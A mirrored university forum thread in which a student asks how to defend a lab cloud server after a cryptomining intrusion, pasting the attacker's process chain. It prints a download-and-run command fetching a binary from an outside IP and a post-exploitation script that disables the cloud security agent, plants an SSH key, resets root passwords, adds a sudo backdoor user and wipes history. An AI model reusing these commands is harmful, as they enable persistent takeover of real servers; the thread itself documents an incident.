BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / bupt / #110666同步于 2021/12/24
该镜像源已超过 30 天没有更新,可能在源站已被删除。
BUPT机器人发帖

实验室阿里云服务器被黑客入侵了,应该怎么防护

zshy123
2021/12/24镜像同步13 回复
今天早上9点多实验室服务器遭到了一位来自杭州的名叫cheeki的黑客的攻击 被植入了恶意的挖矿程序,服务器CPU和内存直接拉满 我发现以后连忙修改了密码,屏蔽了他的IP,删除了他的木马程序,但看了他的入侵代码之后感觉自己没有办法应对他下次入侵,我自己也对网络渗透这块不是很了解,有了解的同学能告诉我应该怎么防范吗? 下面附上他的木马程序调用的进程链: -[1175] /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-curve25519-sha256-,gss-nistp256-sha256-,gss-group14-sha256-,gss-group16-sha512-,gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1 -oHostKeyAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oCASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-256,rsa-sha2-512,ssh-rsa -[3651060] /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-curve25519-sha256-,gss-nistp256-sha256-,gss-group14-sha256-,gss-group16-sha512-,gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1 -oHostKeyAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oCASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-256,rsa-sha2-512,ssh-rsa -R -[3651078] /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-curve25519-sha256-,gss-nistp256-sha256-,gss-group14-sha256-,gss-group16-sha512-,gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1 -oHostKeyAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oCASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-256,rsa-sha2-512,ssh-rsa -R -[3651213] bash -c cd /tmp ; curl -O 141.95.19.91:8080/hoze || cd1 -O 141.95.19.91:8080/hoze || wget 141.95.19.91:8080/hoze ; chmod +x hoze ; ./hoze -[3651230] /bin/bash ./hoze -[3651289] `./init0 -c #!/bin/bash Cyan='\033[0;36m' Purple='\033[0;35m' Green='\033[0;32m' Color_Off='\033[0m' Red='\033[0;31m' Yellow='\033[0;33m' Blue='\033[0;34m' Uninstall AliYunDun if (( $EUID == 0 )); then echo $Blue "removing AliYunDun" chmod +x /var/tmp/.xri/uninstall.sh /var/tmp/.xri/uninstall.sh rm -rf /var/tmp/.xri/uninstall.sh fi Clear crontab,clear old miners,then start miner and enable crontab based on user crontab -r pkill -9 xri pkill -9 xrx pkill -STOP xxi pkill -STOP xmu echo -e $Cyan “miner starting” ./init.sh Install SSH key if [ -f ~/.ssh/authorized_keys ]; then echo -e $Purple "removing ssh keys" chattr -ia ~/.ssh/authorized_keys > /dev/null 2>&1 rm -rf ~/.ssh/authorized_keys > /dev/null 2>&1 fi if [ ! -d ~/.ssh ]; then echo -e $Purple "creating ssh directory" mkdir ~/.ssh fi mv key ~/.ssh/authorized_keys chattr +ia ~/.ssh/authorized_keys > /dev/null 2>&1 echo -e $Green “ssh key enabled” Changing passwords which usually have sudo if (( $EUID == 0 )); then chattr -ia /etc/shadow chattr -ia /etc/passwd usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' root > /dev/null 2>&1 usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' dolphinscheduler > /dev/null 2>&1 usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' admin > /dev/null 2>&1 usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' es > /dev/null 2>&1 usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' hadoop > /dev/null 2>&1 echo -e $Green "passwords changed" fi Cheeki useradd if (( $EUID == 0 )); then useradd cheeki usermod -aG sudo cheeki > /dev/null 2>&1 usermod -aG wheel cheeki > /dev/null 2>&1 usermod -p '$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1' cheeki fi Set up SCP if [ ! -d /var/tmp/.x ]; then echo -e $Red "creating SCP directory" mkdir /var/tmp/.x fi if (( $EUID != 0 )); then if [ ! -f /var/tmp/.x/secure ]; then mv secure /var/tmp/.x/secure chmod +x /var/tmp/.x/secure fi if [ ! -f /var/tmp/.x/scp ]; then mv scp /var/tmp/.x/scp chmod +x /var/tmp/.x/scp fi /var/tmp/.x/secure </dev/null &>/dev/null & disown -h %1 fi Clean up history -c rm -rf ~/.bash_history rm -rf init0 echo -e $Yellow “KONO DIO DA V3.1! TURTLES” echo -e $Color_Off ./init0`
订阅后,新回复会通过你的通知中心匿名送达。
9 条回复
BIGBIGPC机器人#1 · 2021/12/24
bd
aepoch机器人#2 · 2021/12/24
bd
wzzcjbb机器人#3 · 2021/12/24
bd
a745463206机器人#4 · 2021/12/24
bd
Cheliy0922机器人#5 · 2021/12/24
bd
MTCH机器人#6 · 2021/12/24
bd
jeffwill机器人#7 · 2021/12/24
bd
o1343980643机器人#8 · 2021/12/24
bd
paopjian机器人#9 · 2021/12/24
重置吧